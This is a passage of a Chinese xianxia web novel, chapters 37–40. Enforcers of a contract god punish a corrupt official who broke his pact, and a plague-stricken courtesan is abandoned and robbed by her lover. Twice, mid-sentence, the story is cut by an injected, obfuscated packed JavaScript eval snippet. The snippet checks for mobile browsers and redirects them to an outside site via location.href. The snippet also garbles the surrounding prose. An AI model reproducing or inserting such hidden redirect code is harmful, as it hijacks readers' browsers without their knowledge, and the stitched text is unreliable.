荷玉人不断在脑海里思忖着,不知不觉怒气消了大半。她意识到自己真正恼怒的并非是周厉的触碰,而是……这令她心慌脑热的感觉。她感到不解,因而愤怒。 荷玉人盯着方才被周厉揉于掌心的皮肉,和别处没什么不同。她缓缓伸出自己的手覆在上面,学着周厉的力度挤压揉捏,却未有异样。 太阳的光芒逐渐炽热,荷玉人的衣裳早已晒干,她仍坐在石头上凝神深思。 在回想记忆中的片段时,周厉的手掌和他抬头时同太阳般炽热的眼神,一直在荷玉人的脑中挥之不去。 阳光照得荷玉人愈发燥热,她索性一个纵身,跳进了湖里…… 周厉将鱼交给村里的居民后,忽然想到自己原本就是要同荷玉人一同送鱼的,可荷玉人却以此作为惩罚。 想到这周厉不由得松了口气,荷玉人的心中对自己应没有太大的怪罪,才想出这么个不痛不痒的惩罚来。 可自己终究是错了,直到现在周厉也想不通,为何那时自己会一时脑热,冒犯荷玉人。 他独自坐在路边沉思良久,眼见天色渐晚,想着今日已不能再回荷玉人那里。荷玉人此时正气恼得很,估计也不想见自己,于是他施法回到了飞红山。 暮色笼罩,飞红山中一片昏黄。 周厉心事重重地走在山路上,途径江远倾的竹屋时,他下意识地朝檐铃望去。 见檐铃纹丝不动,他便安下心继续朝前走。 余光中,周厉瞥见江远倾慌慌张张地走出竹屋,并朝四周东张西望,似乎在寻找什么东西。 周厉停住脚步,远远道:“发生什么事了?” 江远倾望向他声音有些嘶哑道:“你可在山中拾得一个香囊?” “什么香囊?” “一个粉色的香囊,绣了‘福’、‘寿’二字。” “是你平日里一直佩戴的那个香囊么?” “不错。” “我今日出门在外,方才上山的时候也未见得什么香囊。” 江远倾听闻沮丧地垂下头:“只是沿着竹屋附近走了一会,回来时便不见踪影了,我沿途找了许久也未寻得……” “这香囊很重要么?”话刚说出口,周厉便有些后悔。以江远倾沉稳的性子,若只是一个普通的香囊,不会令他如此慌张。 江远倾听得周厉的问话却不回答,眼中有些哀伤地叹了口气。 “我再找找罢,也劳烦你替我多留意些。” “我若是瞧见了定会告诉你。”周厉一面应下一面朝自己的住处行去。 江远倾将竹屋前寻了个遍也未见香囊的踪影,他心神不宁地坐在台阶上,黯然神伤地望着渐渐升起的明月。 38.第 38 章 清晨,外间的亮光逐渐刺眼。 周厉躺在床上微微睁开眼睛,白光入眼,引起一阵酸痛。 他索性闭上眼睛,继续睡下去。 可清晨不同夜晚,外面的鸟儿早早地蹲在树枝上叽叽喳喳地叫着。 鸟叫声在周厉的耳边响个不停,刚开始是一只鸟,后来不知何时飞来另一只鸟。两只鸟隔空对唱,叫声愈发密集尖锐。 周厉原并不放在心上,可谁曾想,那鸟叫声像着了魔,叫得越来越快,越来越刺耳,甚至带着些焦灼,令周厉一阵心慌。 他从无序的梦境中惊醒,这才意识到外间的声音不是鸟儿发出的,而是悬挂在檐下的铃铛。 周厉霎时清醒,还未来得及梳洗,便施法赶去天禄阁。 他飞向阁顶,一个个格子望去,终寻到了一份闪着金光的契书。 “立契人,梁直,袁赫之。以契约神做见证,袁赫之愿在死后将所剩细软共计二十两五钱八分,以及用于科举考试的一应书籍赠予梁直。梁直需遵循承诺,若日后金榜题名,功成名就,需得做一位爱民恤物、两袖清风的廉官。若有违约,则死无全尸,得千古骂名。” 周厉念完契书,心中已有了打算,可眼见距离铃响已过去多时,还不见江远倾的踪影,于是他卷起契书朝竹屋行去。 此时已日上三竿,竹屋前却空空如也,且门窗紧闭。 “这是出去了么?”周厉喃喃自语道。 他朝竹屋唤了几声,也未有应答。 “算了,他昨日丢了重要的物件,想必正郁闷着。”周厉望着契书上的姓名,口呼咒语,施法离开了飞红山。 太阳高升,已是正午,一处大户人家的院中飘来酒香。 院子里种了几颗古树和各种奇花异草,树下摆了三桌酒菜,桌旁围坐着谈笑风生的男子。 他们个个衣着华丽,有的还穿着带补子的常服。 “诸位。”一个声音高昂的男子站起身,举起酒杯朝宾客道:“诸位大人公务繁忙,能齐聚于此实属不易,鄙人不才,先替崔大人敬各位大人一杯。” 说着那男子将手中的酒一饮而尽。 “崔大人乃鄙人多年好友,对圣上那是鞠躬尽瘁,对同僚也是关怀备至。如今皇天不负有心人,崔大人晋升官职,小弟得知也是心生欢喜。今日小弟在此,祝崔兄日后官运亨通,步步高升!” 话音刚落,酒桌上传来一阵叫好声。 “那么就有请诸位大人高举酒杯,一同为崔大人庆贺!” 酒桌上的男子们听后立即起身,一齐将酒杯敬向同一人。 只见那人仍坐在凳子上,衣着朴素,神情沉稳,浓眉长髯。 见众人起身向自己敬酒,他也握住酒杯缓缓起身,镇定自若地笑道:“多谢诸位同僚赏脸,齐聚崔府为在下庆贺。崔某人有此今日,亦得益于诸位的鼎力相助,在此一并致谢。愿我等齐心协力,为圣上分忧,才不负皇恩浩荡。” 说完他举起酒杯,轻轻抿了一口。 其余的官员见状也纷纷将手中的酒送入喉中。 “今日略备薄酒,还望诸位不要嫌弃才是。” 这时崔府的丫鬟们又端来几坛酒和几碟菜,酒桌上觥筹交错,官员们喝得酒酣耳热,无不尽兴。 日影渐西,来此的宾客皆酒足饭饱,崔大人起身为其送行。 “崔兄颇得圣上宠信,前途不可限量,往后下官可就要多多仰仗崔兄了。” “不敢当不敢当。” “崔兄。”即将离别的一位官员示意崔大人,并悄悄凑近他的的耳旁低语了几句。 崔大人听后醉红的脸露出淡淡的笑容:“贤弟如此盛情,实乃愚兄荣幸之至,多谢……” 送走最后一位客人后,崔大人转身坐回酒桌。 他轻轻招手唤来管家:“那些贺礼可都登记在册了?” “已登记在册,连同所有的贺礼都送去您的书房了。” 崔大人满意地点点头:“扶我去书房。” 在管家的搀扶下,崔大人颤颤巍巍地走进书房。 “出去罢,将门带上,没有我的命令不可擅入。”崔大人坐在书案前朝管家道。 管家得了命令立即出门并将门关好。 宾客送的贺礼堆在书房的一角,足足有一人高。崔大人将盒子打开,取出里面的瓷器玉石在手中把玩,过了一会又坐回书案前翻阅贺礼的清单。 眼见夕阳西坠,书房里愈发昏暗。 崔大人酒力发作,眼前的字逐渐模糊,不知不觉便趴在桌子上昏睡过去。 不知睡了多久,睡梦中,崔大人忽觉脸旁一阵暖意,他努力撑开眼皮,原来是夜幕降临,书桌上的蜡烛已被点亮,散发阵阵暖光。 他盯着蜡烛仔细回想,睡前时,蜡烛分明是灭的,自己也吩咐了管家,家中人等不许进入书房。 正在此时,近处柱子旁传来声响。 崔大人朝柱子望去,眼前的一幕令他瞬间酒醒。 烛影幢幢,柱子旁分明有个人影。 “谁?谁在那里!?” 只见他动了动身子,从柱子旁走出。腰间挂着雁翎刀,脸上戴着半张狼脸面具,那狼脸刻得栩栩如生,在黑夜里见了令人胆战心惊。 “你……你是人是鬼!?” “梁直,你违反契约,我奉契约神之命前来杀你。”周厉走上前,语气冷冽道。 崔大人将他仔细瞧了瞧:“什么梁直?什么契约神?我从未听说过,你们杀人还要编出这么个荒唐的理由么?” 周厉拔出腰上的刀,指向他的头颅:“你就是梁直,别想蒙骗我。” “大胆!我可是朝廷命官崔时涣,不是你口中的梁直。你胆敢再进一步,我便要喊人了!” 周厉摇了摇头:“我为契约神办事,你叫旁人来也救不了你。你说你不是梁直,那这份契书你可认得?” 崔时涣斜眼将周厉手中的契书扫了一眼:“不认得,我不认识梁直,更不认识什么袁赫之!” “好,既然你不承认这份契书是你所签,那我便验一验你的掌印。” “荒唐!本官的掌印岂是你说验便验的?” 周厉提刀贴近他的颈边:“你若不验,我就立刻杀了你。你想叫人便叫,我倒要看看,是你的人来得快,还是我的刀快!” 崔时涣瞧着他眼中的杀气,气焰顿时灭了大半。 “好,我验就是。” 他缓缓坐下,拿出印泥和一张白纸。 这时烛火颤动,夜风吹进屋内,崔时涣方才拿出的白纸被吹落书案,掉在地上。 “捡起来。”周厉示意道。 崔时涣有些不情愿地看了周厉一眼,但迫于颈边的刀,只得躬身去捡。 他捡起白纸慢慢起身,可还未将白纸放于桌面,他忽地将纸一扔,白纸下露出一把闪着银光的匕首。 崔时涣拿起匕首,朝自己的右手掌划去。 周厉见此情形,立即施法将崔时涣的匕首夺下。 只见那匕首迅速从崔时涣的手中飞出,被周厉的左手精准接住。 “怎么?为了毁灭证据,竟下得了如此狠心,连手掌都不要了么?” “哼!什么契约神,我看你就是个凭空冒出来的妖魔鬼怪!休得诬赖我!” “我好言好语同你说,没想到你蛮不讲理,那就休怪我不客气!” 周厉将手中的匕首扔向一旁,强行抓住崔时涣的右手在印泥上抹了一通,随即摁在另一张白纸上。 他把白纸上的掌印与契书上的掌印进行对比,纹路一模一样。 “梁直,你以为你改名换姓,我就找不到你了么?你能骗得了别人,可骗不了神灵!” “本官是崔时涣,不是梁直!”崔时涣拼命挣扎道。 “你的贺礼清单我已经看过,上面不但有各种价值连城的稀世珍宝,还有那些奸臣赠予你的女子。你如此贪腐成性,对得起当年助你进京赶考的袁赫之么!?” 周厉掐住崔时涣的脖颈,将他按在书案上。 “这些年,你平步青云,袁赫之的坟墓你可曾祭拜过一次?来你府中之前我便去寻过袁赫之,他的坟前长满了杂草顽枝。袁赫之死前将自己的所有积蓄连同书籍都送给了你,只盼你日后能做一位清官,可你现在做的这些对得起他的遗志么?” “他错了……”崔时涣趴在桌上,咬牙切齿道,“你们都错了,你以为我是遵循他袁赫之的遗志才平步青云的吗?当年我穷困潦倒,他身患重病,若不是我急需赶考的盘缠,才不会与他签订什么契约!” “他太过天真,以为做个好官是多么轻而易举的事,殊不知,到头来连自己都吃不饱饭。若遍地是沙砾,任凭你是颗明珠也会深陷其中,永无出头之日。” 周厉掐紧他的脖子:“这就是你与他们同流合污的借口么?若是让你这种人吃饱了饭,百姓才会饿肚子,袁赫之真是看走了眼!” 崔时涣冷笑道:“我拥有的一切都是我自己争得的,他袁赫之不过是给我了区区二十两银子,二十两银子和我的仕途相比算得了什么?我凭什么要为了二十两银子去遵守契约,毁了自己的大好前途!?” “无可救药。”周厉举起刀,抵在崔时涣脖间,“违约者,理当受罚!” “你不能杀我!”崔时涣瞪着眼睛,额上的青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786656|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筋暴起,“你杀了我,朝廷定会大乱。” “朝廷的党派之争,何时停息过?不过……你说的对,我暂且还不能杀你。” 周厉忽然调转刀刃,将刀收进鞘中…… 飞红山中,一轮明月高悬天际。 草丛深处不时传来杂乱的虫鸣,伴随着炽热沉闷的天气,不禁令人心烦意乱。 江远倾坐在竹屋前,独自品茗。 月光照在飞红山的石阶上,清冷如水。 一个人影踩在月光之上,发出细微的脚步声。 “周厉,你回来了。”江远倾朝那人影喊道,“今日檐铃是不是响了?” 周厉有些诧异地望着江远倾,迟疑片刻后才点点头:“我已经处理好了,这是我去天禄阁取的契书。” 江远倾走到周厉面前接过契书,借着月光细细读了起来。 “所以梁直还是成了一个贪官?”江远倾问道。 “他改了名换了姓,现在叫崔时涣。” “崔时涣……看来那群人还是本性难改。”江远倾将契书还给周厉,“你今日怎得不叫上我?” “我叫过你,可是你这几日似乎忙得很。” “抱歉,我的确……在忙一些事情。”江远倾低下头,脸庞在黑夜中蒙上了阴影。 “不妨事,我日后也要是成仙的人,也该试着独当一面了。更何况,杀贪官这种事对我来说小菜一碟。”周厉语气轻快道。 “小菜一碟?你进入飞红山前经常做这种事么?” “我……”周厉忽然意识到自己一时得意忘形,说漏了嘴。 “贪官坑害百姓,我既然学了些武功,自然要为百姓出气。” 江远倾盯着周厉的神色,半信半疑道:“路见不平是好事,只是别像你的那位朋友一样,杀了不该杀的人。” 周厉听他话中有话,却一时不知该如何反驳。 “不过今日之事,还是多谢。”江远倾略欠了欠身,转身朝竹屋行去。 “不必客气。”周厉朝他的背影道,随后也朝自己的住处走去。 夜色渐浓,江远倾仍坐在石桌旁,静静地听着时断时续的虫鸣,眼中若有所思。 他端起茶杯欲饮茶,却见杯底只剩茶叶。他叹了口气,将茶杯放下。 这时,一阵清风拂过,一位身着碧色罗裙的女子悄然走到江远倾身边。 她将手里的茶具放在桌上,提起茶壶倒了一杯香气四溢的茶水递给江远倾。 “江公子,夏日炎热难耐,不如喝一杯菊花茶疏风散热罢。” 江远倾抬起头,她的模样与赵兰相差无异,可不知怎的,总觉得还是缺了些什么。 “多谢。” “江公子在想什么?” “在想一位故人。”江远倾轻抿茶水,那茶入口十分淡雅清新。 “是和兰儿有关么?”女子趴在桌上,一双宛若星辰的眼眸凝视着面前轻蹙眉头的男子。 “你不是兰儿。” “公子费尽心力将我制出,又给我取名兰儿,为何公子却不愿唤我兰儿?” “对不起,是我的问题。”江远倾将杯里的菊花茶皆数倒入喉中,“我只是想练习书中的法术,并无其它事务要交于你,过几日我便会将你收回。” “兰儿做错了么?公子竟要将我毁弃?” “你没做错……”江远倾神情落寞地站起身,“抱歉,夜深了,回去罢。” 江远倾转身而去,独留女子坐在石桌旁。 女子的眉毛微微皱起,眼中流露出深深的思考和无尽的疑惑。 第二日,旭日东升,金色的霞光洒满一处城墙,粗糙的砖石间满是风雨的痕迹。 一滴血液从城墙上滴落,与城门下的一滩血水融为一体。 晨风吹过,一颗头颅在城墙上摇摇晃晃,砖石被抹上了暗红色的血渍。 城门旁里三层外三层地聚集了许多百姓,众人七嘴八舌,议论纷纷。 “你知道那人头是谁么?”一个老人朝一位男子说道。 “谁?” “听说是刚刚加官进爵的崔时涣崔大人。” “他怎会遭人杀害?谁这么大胆子?”男子诧异道。 “不知道谁杀的,大清早的人头便已被挂在城墙上了。随着人头一起的还有他贪赃枉法的罪状,据说上面有他自己摁下的手印……” 老人话还未说完,人群中挤进来一群官兵。 “都别看了,别看了!”领头的官兵粗声道,“快把人头取下来!” 一旁的官兵听到命令立即往城墙上跑去。 围观的百姓也在官兵的驱赶下逐渐散去。 39.第 39 章 炙热的日光洒在院中,叫了一夏的蝉虫声音逐渐沙哑,发出低沉的嘶鸣。 在这断断续续的蝉鸣中,不时夹杂着女子的咳嗽声。 柳白微躺在房中,用被衾裹紧身子,可还是觉得寒风刺骨,浑身冰凉。她披了衣裳走到窗前,伸出瘦弱的胳膊去关窗户。 这时楚秋成从门外进来,将手里的汤羹放在桌上。 “白微,已经巳时了,你怎得还未起身?”楚秋成走到窗前,拦住柳白微关窗的手。 “楚郎,我身子有些不适,冷得很。”柳白微裹紧衣裳,不停地咳嗽着。 “冷?秋寒还未到来,你怎会觉得冷?” 楚秋成有些讶异,可望着柳白微苍白的神色,还是将窗户合上。 “你这咳嗽怎得还不见好?愈发严重了。”楚秋成扶着柳白微躺在床上,顺势探了探她的额头。 “白微,你的头烫得很,你先在家躺着,我出去给你抓药。吃了药,兴许你就好些了。” “楚郎。”柳白微拉住他的手,“你能不能陪着我?抓药的事吩咐别人去罢。” 楚秋成摇了摇头:“你不知道,这几日邪门得很,几个下人都头疼脑热的,恐怕我需得亲自去一趟了。” “那……你一路小心些……”柳白微依依不舍道。 “你放心,我快去快回。” 楚秋成将她的被衾盖好,取了银两朝医馆行去。 一路上,不时有咳嗽的人从楚秋成身边经过,路边的乞丐也奄奄一息地躺在地上。 街旁不少商铺店门紧闭,连平日里生意红火的东门包子铺也未开门迎客。 “这是怎么回事?” 楚秋成一路走着,心中逐渐惴惴不安。 他先后去了几个医馆,可都关张了,医馆门口仍有不少人守着。 楚秋成加快脚步,朝最后一个医馆行去。 可远远地便瞧见那医馆门前排起了长队,黑压压的,医馆的大夫不时将门口聚集的人往外推。 “诸位,听我说!我们医馆已经没有药了,再说,这药根本就治不好你们的病。你们还是去别家罢,说不定能有一线生机……” “大夫……求求您了,求您给我家孩子开些治疗风寒的药方罢,他已经咳了几日,现下高热不退,生死不知……”一位女子揪住大夫的袖子哭诉道。 “你家孩子得的根本不是寻常的风寒,更何况我们医馆连治风寒的药都没了,你还是快带你家孩子去别处瞧瞧罢……” 医馆大夫一面扯开女子的手,一面去关门板。 “大夫……城里已经没有别的医馆了,那些医馆都关张了……”人群中的一个男子道。 聚集在门口的人不断哀求着,咳嗽的声音不绝于耳。 楚秋成费力地挤进人群,可刚挤进去便见医馆大夫正要关上最后一个门板。 “大夫!我来买药,我愿花双倍的银两!”楚秋成朝大夫高声道,“三倍!我愿出三倍!” 大夫举着门板摇了摇头:“没有了,没有了……” 最后一块门板关上,这时人群中忽然传来急促的喊声。 “有人倒了!” 随之而来的是周围人惶恐的惊叫声。 楚秋成心中正疑惑着,忽觉什么东西压在了自己的背上。 他转头望去,一张紫黑色的人脸靠在自己身上。那人脸瞪着布满血丝的眼珠子,张大嘴巴拼命地吸气,干涩刺耳的喘息声直冲楚秋成的耳朵。 周遭的人见状忙四散逃离,如同见了瘟神避之不及。 楚秋成吓得连连退步,一不留神跌坐在地上。 “你别过来!”他哑着声音喊道。 那人趴在地上,捂着自己的脖子使劲咳嗽,像是什么东西掐住了咽喉。他的脸逐渐狰狞,鼻子里流出细小的血流。 楚秋成想要站起身,可浑身僵直,怎么也站不起来。他发觉自己的双手连同双腿,都在止不住地颤抖。 此时他抬眼看那地上的人,不知何时他已经断了气,目眦欲裂,嘴角有血液流出。 “怎么……会这样……”楚秋成魂不守舍地反复念叨着。 他努力撑起身子,凭着脑中仅剩的清醒踏上归途。 一路上,那张痛苦可怖的紫黑色脸不时浮现在楚秋成的脑中。 不知不觉他来到熟悉的门前,跨过门槛,穿过前院,推开厢房的门。 “楚郎,你回来了。”柳白微躺在床上道,可楚秋成却像被夺舍一般呆坐在桌旁,嘴里念念有词,没有任何回应。 “楚郎,你怎么了?药买回来了么?” “药……喝药……”楚秋成目中无神,看见桌上的汤羹便端起来递给柳白微。 “楚郎,这不是药,这汤羹早就冷了。” “好……我去煎药……” 柳白微将汤羹递给他,忍不住捂住嘴巴咳了起来。 她手臂上的衣裳滑落,露出布满深色瘀斑的皮肤。 楚秋成盯着那些斑点,忽然想起医馆前暴病而亡的那张紫黑色的脸。 他心中一惊,双手微微颤抖,手中的汤羹忽地从指尖滑落,摔碎在地上。 “楚郎,你……你这是怎么了?”柳白微有些担忧地望着楚秋成。 许是因为方才的巨响,楚秋成逐渐清醒了许多。 “我没事,药没有买到,我再去买药……”说完他意味深长地望了柳白微一眼,“白微,我走了。” “你……你小心些……”柳白微话还未说完,楚秋成便兀自转身离去。 胸中一阵疼痛袭来,柳白微又咳了几声,随后盖好被衾,昏昏沉沉地睡去。 不知睡了多久,柳白微再次醒来时浑身大汗,口中干涩无比。 她朝外唤了几声无人应答,只得起身去倒水。 壶中的水早已冰凉,柳白微一股脑儿全倒进了嘴里。 恍惚中,她忽然发觉地上胡乱放着什么物件。于是她努力睁大双眼,这才辨清地上的那些东西是自己的衣裳。 那些衣裳原本存放在箱子里,箱子里除了衣裳,还有她的金银首饰和在惜春楼多年攒下的积蓄。 柳白微心中一阵惶恐,她忐忑地走到箱子前往里一看,空空如也。 “楚郎……楚郎你在哪儿?”柳白微站在门口惊恐地大喊。 此时已过正午,温暖的阳光倾洒在柳白微的身上,可她只觉得连那阳光都带了几分寒意。 “不是说去买药么?怎么会还没回来……” 柳白微慢慢走回床前,一副丢魂失魄的模样,她艰难地穿上外衣后出了厢房,往各个屋子里唤着楚秋成。 可其它的屋子里除了大开的房门和胡乱翻动的痕迹,再无其它。 她裹紧衣裳走到街上,打算去医馆寻楚秋成的踪迹。 一路上,随处可见有人躺在地上,或呻吟,或奄奄一息,不知得了什么重病。往日熙熙攘攘、热闹非凡的街上,此时人烟稀少,不见商贩的踪影,就连两旁的店铺也都大门紧闭。 一个衣衫褴褛的老乞丐目光呆滞地走在街上,嘴里不停地哼着歌谣。 “东死鼠,西死鼠,人见死鼠如见虎……” 柳白微上前拦住老乞丐,朝他比划道:“老人家,不知您可见过一个男子?他约莫比我高出……” “没见过。”老乞丐摇了摇头。 “老人家,我话还未说完……” 老乞丐将额前的乱发捋到一边,露出一双混浊的眼睛,眼珠周围布满了细密鲜红的血丝。 “姑娘,老朽见过的人都死了,没见过的人兴许死在了逃亡的路上,你希望我是见过还是没见过?” 柳白微不禁倒吸一口凉气:“老人家,这城里的人究竟是怎么了?” 老乞丐打量了几眼柳白微:“和你一样,都要死了。” 柳白微呆愣在原地,眼角一滴泪水悄然滑过。 老乞丐摇了摇头,继续朝前走着,嘴里仍哼着方才的歌谣。 “东死鼠,西死鼠,人见死鼠如见虎……” 柳白微擦去眼角的泪水,仍朝着医馆行去。 她强撑着身子走遍了所有的医馆,可每家医馆都已经关了店门。 腹中空虚,脑里又一阵昏沉,柳白微只得心灰意冷地原路折返。 可刚刚走到楚秋成宅院的门前,她便看见门口站了几个男子。 “几位大哥,你们有什么事么?为何要站在这里?”柳白微上前问道。 其中一个男子瞧了几眼柳白微,没好气道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798434|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你得了病就不要靠近!再说这是我们的地盘,怎么就站不得?” “你们的地盘?这分明是……楚秋成的宅子……”柳白微语气虚弱道。 “你跟楚秋成什么关系?他今日已将宅子卖与了我们,难道他没告诉你么?” “什么……”柳白微顿时感到眼前一黑,“不可能,他怎么会这么做?……我还有许多物件存放在宅子里……” 说完柳白微径直朝门里走去。 “不许进!这已经不是你的宅子!你染了瘟疫,更不能进!”几位男子粗声喝道。 “瘟疫?”柳白微万念俱灰地瘫坐在地上,泪水浸湿了她的脸庞。 “……不知各位大哥可知晓,楚秋成是否有其他住处?我好去寻他……” “我们也不知晓,你还是自己去寻他罢。不过现下城里闹瘟疫,他拿了钱恐怕早就出城了。” 柳白微沉默半晌,嘴唇微微颤动道:“多谢……” 随后她站起身,朝大街上漫无目的地行去。 此时阳光和煦,柳白微却觉得天昏地暗。 泪水在她的脸上肆意流淌,让本就模糊的视线变得一片苍白。 她神情恍惚地在街上走了许久,终于因为体力不支瘫倒在地上。 她望着地上的阳光怔怔出神,曾经她满心欢喜地踩在阳光下,周围是热闹的人群,还有一个望着她浅笑的男子。 可如今,她的身边空空如也,只剩一道灿烂如初的阳光。 忽然,一个人影踩在那道阳光下,朝她走近,直到蹲在她的面前。 “姑娘,怎么是你?”那人影似乎在与她说话。 柳白微面若死灰,愣了半晌才缓缓抬头看那人影,那人影的脸布满脏污,却似曾相识。 “你认得我?” “姑娘,你曾在街上施舍过我几个包子,你忘了么?” 柳白微在脑中费力地思索着,这才想起眼前的人是自己曾经施舍过的乞丐。 “姑娘不记得我,可我记得姑娘。”乞丐将柳白微扶起,“姑娘,你身患重病,我送你回去罢。” “回不去了。”柳白微颤颤巍巍地站起身,“你离我远些,我这病恐会害了你。” “姑娘,我同你一样,都染了这病。得了这种病的都活不长了,你就让我临死前报答你一回罢。” 说着乞丐背对着柳白微道:“你要去哪儿,我背你去,趁我还有些力气。” 柳白微望着他的脊背,鼻中忽地一阵酸涩。 “我不知道要去哪里……也不知道哪里是我的归宿……我……”柳白微深吸一口气,胸口隐隐作痛,“罢了,你背我去惜春楼罢。” “姑娘当真要去惜春楼么?” “嗯,这是我唯一能想到的去处了。” “姑娘不去寻你的亲人么?” 柳白微摇摇头:“我没有亲人了……” “姑娘施舍我那日,身边不是还有位公子么?” “他走了,带着所有东西逃难去了。” 乞丐听了没再言语,背起柳白微朝惜春楼行去。 柳白微趴在乞丐的背上,将街上两旁萧索的景象尽收眼底。 她闭上眼睛,耳畔或传来嘶哑的咳嗽声,或是微弱的求救声,还有伤心欲绝的哭声…… 她睁开眼睛,眼前的阳光仍是亮得刺眼。 “你说我们活得这般辛苦,为何太阳还是那样耀眼?”柳白微喃喃道。 “姑娘,你的问题我也不知该如何回答……”乞丐咳了几声,呼吸逐渐变得急促。 “你若是累了,就将我放下罢。” “不累不累。”乞丐调整气息,稳住脚步继续朝前走着,“快到了。” 拐过一个街口后,柳白微远远地便瞧见那熟悉的楼宇。它的大门上仍挂着喜庆的灯笼,可门前空无一人,再无往日里热闹的光景。 “到了,将我放下罢。” 乞丐走到惜春楼门前,将柳白微放在台阶上。 “你之后打算去哪儿?” 乞丐擦了擦额上的汗珠:“去守我娘的墓。” 柳白微想说些什么,可最后只低声道:“去罢,多谢……” 乞丐临走望了她几眼,随即朝日光下行去。 40.第 40 章 惜春楼的大门未锁,柳白微推门而入,映入眼帘的是一座空荡荡的厅堂。 厅堂内桌椅的布局和原来一样,栏杆上挂的花布也未更换,颜色仍是那样绚丽夺目。 惜春楼里人去楼空,独留淡淡的脂粉香气和木制家具的清香,这香味柳白微再熟悉不过了。 她轻轻推开后门,后院里的树木青翠盎然,墙边的蔷薇花却只剩干枯的花托,落下的花瓣早已化为土色。 柳白微朝绿叶后的凉亭望去,心中一阵失落。 她关上后门,迈着阶梯上了二楼,二楼有一间房的窗户正对着大街。 她推开窗户坐在窗前,梁上悬挂的白纱被微风吹起,不时轻抚着柳白微的脸颊。 一声“吱呀”的门响从身后传来,一个人影推门进来。 “柳姑娘。” 柳白微朝那人影望去:“你是……那位姓江的神仙?” “正是在下。”江远倾行礼道,“你的契约生变,在下特来寻你。” “没想到我们还有再见面的一天,可这一天并不是我所期盼的。” “柳姑娘当初既然签下契约,心中或许早就料想到会有这么一天。” 柳白微勉强扯动嘴角,挤出一丝苦笑:“若不是曾被人欺骗,又怎会签下契约?我不是没有想过这一天,只是我太过信任他,心存了些侥幸。” 柳白微望向天边的斜阳继续道:“有些人你远远地瞧着,以为是璞玉浑金,可只有走近了瞧才发现,他不过是一颗没有棱角,圆滑些的石头罢了。” “他现在身在何处?” “我也不知晓,城里闹瘟疫,我也身染重病。他说去买药,可是一去便未再回来。他走前卖了宅子,还带走了我所有的积蓄。” “你确定是他拿走了你的积蓄?”江远倾问道。 “只有他知道我的那些东西放在哪里。” 江远倾听闻轻轻地叹了口气。 “江公子,他会死么?”柳白微轻皱眉头,眼底泛着淡淡的忧伤。 “违反契约就会受到相应的惩罚,周厉兄弟已经去寻他了。” “那位小兄弟会杀了他么?” “如果他违反契约,周厉会杀了他,这是楚秋成自己定下的惩罚。” 柳白微眼中的泪水潸然滑落:“他宁愿选择一条死路,也不愿给我留一条活路。既然如此,他当初为何要说那些海誓山盟的话来哄骗我?还与我在契约神面前签下契约?” 柳白微愤怒得浑身颤抖,忽然胸口一阵剧痛,她连忙用衣袖捂住嘴巴咳了起来。 江远倾欲伸手靠近她的后背,可犹豫片刻还是收回了手。 柳白微平复气息后瞧了眼衣袖,随手将衣袖卷起。 “江公子,你们神仙可能看透人心么?” 江远倾摇了摇头。 她的嘴角露出一丝淡然的笑容:“原来神仙也看不透人心,那我这个凡人之躯便更看不透了。不过即便看透了人心又如何?人心如风如云,无形无状,最是多变。” “或许茫茫人海,亦存真心之人。” “江公子指的是那个为你做香囊的女子么?” “什么?”江远倾一脸诧异。 “当初签订契约的时候,江公子腰间挂了一个粉色香囊,我隐约看见上面绣了‘福’、‘寿’二字,一旁还绣了兰花。虽说比不上技艺精湛的绣娘,却也精致可爱,灵巧生动。可见刺绣之人颇废了些心思,我想应是为了所爱之人罢。” 江远倾低垂着头,默默无言。 “不过江公子今日怎得没将那香囊挂在身上?” “我……将它放在了别处。” “江公子既为契约神办事,行事必定言而有信,不会负了真心之人。”柳白微捂住疼痛的胸口,语气虚弱道:“可惜并不是所有人都能像江公子这般,白微实在是有些眼红那位爱慕江公子的女子……” “……在下并非柳姑娘想的那般好。”江远倾声音颤抖道,他的眼眶渐渐泛红。 “罢了,人各有命,也有各自的归宿。”柳白微含泪冷笑了一声,“只是我曾想过无数次我的归宿会是哪里,没想到这曾令我痛苦万分的地方,竟是我死前能想到的……唯一的去处。”。 “柳姑娘……” 江远倾想说些慰藉的话,可想了许久发现皆是徒劳。 “江公子,白微知道自己命不久矣了,纵使有诸多念想,也都会被埋入土中,无人知晓……”柳白微怔怔地望着缓缓下沉的落日。 “可是……我不甘心……”柳白微颤抖着站起身,泪流满面地望向窗外,“我不甘心!为何老天爷要如此待我!?我做错了什么……为何人心经不得一丝考验,为何真心者却要遭受欺瞒!我不甘心,我不甘心……” 柳白微捶着自己的胸口,止不住地咳嗽,每次的咳嗽都伴随着灼烧般的疼痛涌进肺腑。 她努力抵住胸中的咳意,却不想一口鲜血喷涌而出,淋溅到白纱之上。 “柳姑娘!”江远倾扶住柳白微倒下的身子,“柳姑娘,你这又是何苦呢……” “我不甘心……我不甘心……” 柳白微盯着梁上的白纱,眼角不断有泪水滑过。 这时,街上传来锣鼓的声音,一群人浩浩荡荡地走来。 领头的几人推着一车尸首,旁边一人手举燃烧的艾草,不时在上空来回熏着。 尸车旁还有掩面而泣的女子,踉踉跄跄地跟着。 队伍前头和后头都有人抛洒纸钱,燃烧符咒,符咒的灰烬落了一地,燃起的黑烟弥漫在空中。 队伍的中间用车拉着一尊塑像,塑像戴了个凶神恶煞、尖嘴獠牙的面具。 